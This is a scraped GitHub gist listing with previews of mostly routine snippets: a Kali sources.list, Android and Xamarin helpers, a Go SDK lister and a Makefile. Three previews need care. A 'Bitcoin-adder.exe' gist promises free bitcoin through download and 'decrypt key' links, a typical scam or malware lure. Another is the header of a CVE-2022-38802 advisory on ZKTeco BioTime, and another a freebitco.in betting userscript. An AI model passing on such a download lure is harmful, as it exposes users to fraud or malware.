Skip to content

Instantly share code, notes, and snippets.

View hnjm's full-sized avatar
🇾🇪
I may be slow to respond.

Hassan Najm hnjm

🇾🇪
I may be slow to respond.
View GitHub Profile
@pichuang
pichuang / sources.list
Last active April 9, 2024 03:07
Kali Linux source.list /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free
deb-src http://http.kali.org/kali kali-rolling main contrib non-free
#deb http://kali.cs.nctu.edu.tw/kali kali-rolling main non-free contrib
@asifmujteba
asifmujteba / ASFUriHelper
Created April 22, 2015 06:31
Get Real Path from Uri
@TargetApi(Build.VERSION_CODES.KITKAT)
public static String getPath(final Context context, final Uri uri) {
final boolean isKitKat = Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT;
// DocumentProvider
if (isKitKat && DocumentsContract.isDocumentUri(context, uri)) {
// ExternalStorageProvider
if (isExternalStorageDocument(uri)) {
final String docId = DocumentsContract.getDocumentId(uri);
@eagletmt
eagletmt / main.go
Last active October 28, 2023 00:02
List installable Android SDK packages (similar to sdkmanager --verbose --list)
package main
import (
"encoding/xml"
"fmt"
"io/ioutil"
"log"
"net/http"
)
@genuinehacks
genuinehacks / Bitcoin-adder.exe
Created February 23, 2018 03:56
BITCOIN Adder, Download now to start earning money for free and fast.
Go to these links to download the bitcoin adder...
1 Link : http://rapidtory.com/Ac3G
For decrypt key...
2 Link : http://rapidtory.com/AcEm
.
.
.
.
Now download and enjoy....
@steven-r
steven-r / gist:90b088b99a753ea51ce9
Last active March 10, 2023 02:32
Example on how to cache values for API calls
#region copyright
// /* Copyright (C) think2infinity LLC - All Rights Reserved
// *
// * TimeJack
// *
// * Written by Stephen Reindl <stephen@think2infinity.com>, 09 2013
// *
// */
#endregion
@hnjm
hnjm / CVE-2022-38802
Created January 25, 2023 05:21 — forked from hamoshwani/CVE-2022-38802
Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime
Security Advisory
Topic: Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime
Category: Zkteco Biotime
Module: webgui
Announced: 01-09-2022
Credits: Ahmed Kameran From https://technobase.krd/ -- https://twitter.com/hamoshwani
CVE ID: CVE-2022-38802
Affects: BioTime - < 8.5.3 Build:20200816.447
@hamoshwani
hamoshwani / CVE-2022-38802
Last active January 25, 2023 05:21
Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime
Security Advisory
Topic: Administrator can exploit XSS into local file read using PDF generator in Zkteco Biotime
Category: Zkteco Biotime
Module: webgui
Announced: 01-09-2022
Credits: Ahmed Kameran From https://technobase.krd/ -- https://twitter.com/hamoshwani
CVE ID: CVE-2022-38802
Affects: BioTime - < 8.5.3 Build:20200816.447
@makaAnarchy
makaAnarchy / freebitco Multiplay script.js
Last active January 14, 2023 07:25
freebitco.in best script to play Multiply BTC with 63% win chance
// ==UserScript==
// @name Best algorithm to play Multiply odd 1.5 win chance 63% (NOT FOR LOW BALANCE)
// @description Play with higher chance , READ FIRST
// @include https://freebitco.in/*
// @copyright 2020, makaaymen@gmail.com
// @namespace AnarchyHS
// ==/UserScript==
bconfig = {
@mohibsheth
mohibsheth / Devices.cs
Created January 21, 2015 13:03
Xamarin Android: Helper class to get the consumer friendly device name.
/*
* Copyright (C) 2015 Mohib Sheth <mohib.sheth@gmail.com>
*
* Original Java version Copyright (C) 2014 Jared Rummler <jared.rummler@gmail.com>
* https://gist.github.com/jaredrummler/16ed4f1c14189375131d
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
@devlights
devlights / makefile
Created September 22, 2020 14:15
Protocol Buffers (protobuf) と Go のプログラム作るときに使える Makefile
usage:
@echo '-----------------------------------------------------------------------------'
@echo '以下のどれかのタスクを指定します.'
@echo ' - install-requirements -- Protocol Buffers を実行するのに必要なものをインストールします.'
@echo ' - protoc は プロジェクトディレクトリ直下の bin にインストールされます.'
@echo ' - protoc-gen-go は $(go env GOPATH)/bin にインストールされます.'
@echo ' - protoc-gen-doc は $(go env GOPATH)/bin にインストールされます.'
@echo ' - protoc -- protocを実行します.'
@echo ' - protoファイルは protoディレクトリ の下に存在しているとします.'
@echo ' - 生成されたgoファイルは internal ディレクトリの下に配置されます.'